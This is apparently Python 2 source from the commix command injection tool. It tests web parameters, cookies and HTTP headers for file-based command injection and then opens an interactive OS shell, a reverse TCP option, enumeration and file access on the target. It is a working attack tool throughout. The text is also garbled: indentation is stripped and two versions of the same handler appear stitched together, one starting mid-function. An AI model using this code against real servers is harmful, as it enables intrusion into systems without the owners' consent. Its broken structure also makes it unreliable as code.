warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
# Provide custom server's root directory.
custom_srv_root_dir()
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
found = True
no_result = False
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
if not menu.enumeration_options():
print ""
fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
#print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
if settings.VERBOSITY_LEVEL >= 1:
print ""
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print "\n"
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
return False
elif os_shell_option == "quit":
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
shell = False
counter = 1
vp_flag = True
exit_loops = False
no_result = True
is_encoded = False
stop_injection = False
call_tmp_based = False
next_attack_vector = False
export_injection_info = False
injection_type = "semi-blind command injection"
technique = "file-based command injection technique"
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
if not settings.LOAD_SESSION or settings.RETEST == True:
TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))
info_msg = "Trying to create a file in '" + settings.WEB_ROOT
info_msg += "' for command execution results... "
print settings.print_info_msg(info_msg)
i = 0
# Calculate all possible combinations
total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
# Check if defined alter shell
alter_shell = menu.options.alter_shell
for whitespace in settings.WHITESPACE:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
if settings.LOAD_SESSION:
try:
settings.FILE_BASED_STATE = True
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
OUTPUT_TEXTFILE = TAG + ".txt"
session_handler.notification(url, technique, injection_type)
if technique == "tempfile-based injection technique":
#settings.LOAD_SESSION = True
tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print settings.print_critical_msg(err_msg)
raise SystemExit()
if settings.RETEST == True:
settings.RETEST = False
from src.core.injections.results_based.techniques.classic import cb_handler
cb_handler.exploitation(url, timesec, filename, http_request_method)
if not settings.LOAD_SESSION:
i = i + 1
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = TAG + ".txt"
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
try:
# File-based decision payload (check if host is vulnerable).
if alter_shell :
payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
else:
payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
# Check if defined "--prefix" option.
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(" ", whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Check if defined "--verbose" option.
elif settings.VERBOSITY_LEVEL > 1:
info_msg = "Generating a payload for injection..."
print settings.print_info_msg(info_msg)
print settings.print_payload(payload)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP Header Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP Header Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to Referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
response = fb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP Header Injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to Host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
response = fb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)
# Find the directory.
output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
time.sleep(timesec)
try:
# Check if defined extra headers.
request = urllib2.Request(output)
headers.do_check(request)
# Evaluate test results.
output = urllib2.urlopen(request)
html_data = output.read()
shell = re.findall(r"" + TAG + "", html_data)
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if len(shell) == 0 :
raise urllib2.HTTPError(url, 404, 'Error', {}, None)
except urllib2.HTTPError, e:
if str(e.getcode()) == settings.NOT_FOUND_ERROR:
percent = ((i*100)/total)
float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
if call_tmp_based == True:
exit_loops = True
tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
raise
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
elif i == int(menu.options.failed_tries) and no_result == True :
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
tmp_upload = sys.stdin.readline().replace("\n","").lower()
else:
tmp_upload = ""
if len(tmp_upload) == 0:
tmp_upload = "y"
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
settings.TEMPFILE_BASED_STATE = True
call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
if call_tfb != False:
return True
else:
if no_result == True:
return False
else:
return True
elif tmp_upload in settings.CHOICE_NO:
break
elif tmp_upload in settings.CHOICE_QUIT:
print ""
raise
else:
err_msg = "'" + tmp_upload + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
continue
else:
if exit_loops == False:
if not settings.VERBOSITY_LEVEL >= 1:
if str(float_percent) == "100.0":
if no_result == True:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = str(float_percent)+ "%"
else:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
continue
else:
raise
elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
err_msg = "Authorization required!"
print settings.print_critical_msg(err_msg) + "\n"
raise SystemExit()
elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
err_msg = "You don't have permission to access this page."
print settings.print_critical_msg(err_msg) + "\n"
raise SystemExit()
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'vuln_parameter' in locals():
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except urllib2.URLError, e:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
err_msg = str(e).replace(": "," (") + ")."
if menu.options.verbose > 1:
print ""
print settings.print_critical_msg(err_msg)
# Provide custom server's root directory.
custom_web_root(url, timesec, filename, http_request_method, url_time_response)
continue
except:
raise
# Yaw, got shellz!
# Do some magic tricks!
if shell:
settings.FILE_BASED_STATE = True
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if not settings.VERBOSITY_LEVEL >= 1 and \
not menu.options.alter_shell and \
not next_attack_vector:
next_attack_vector = True
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = "Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if not settings.VERBOSITY_LEVEL >= 1:
print ""
else:
checks.total_of_requests()
# Print the findings to terminal.
success_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
success_msg += " " + http_request_method
success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACE[0]
settings.LOAD_SESSION = False
# Check for any enumeration options.
new_line = True
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "y"
if enumerate_again in settings.CHOICE_YES:
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = False
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
fb_enumeration.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if not menu.file_access_options() and not menu.options.os_cmd:
if not settings.VERBOSITY_LEVEL >= 1 and new_line:
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
if settings.ENUMERATION_DONE != True:
print ""
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again= "y"
if file_access_again in settings.CHOICE_YES:
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.file_access_options():
# if not menu.enumeration_options():
# print ""
fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
print ""
# Check if defined single cmd.
if menu.options.os_cmd:
# if not menu.file_access_options():
# print ""
fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
# Delete previous shell (text) files (output)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.VERBOSITY_LEVEL >= 1:
print ""
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "y"
if gotshell in settings.CHOICE_YES:
if not menu.options.batch:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL >= 1:
# print ""
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE)
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
time.sleep(timesec)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Command execution results.
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if shell:
if shell != "":
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, shell)
print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
if not shell or shell == "":
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The '" + cmd + "' command, does not return any output."
print settings.print_critical_msg(err_msg) + "\n"
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# if settings.VERBOSITY_LEVEL >= 1:
print ""
# Delete previous shell (text) files (output)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise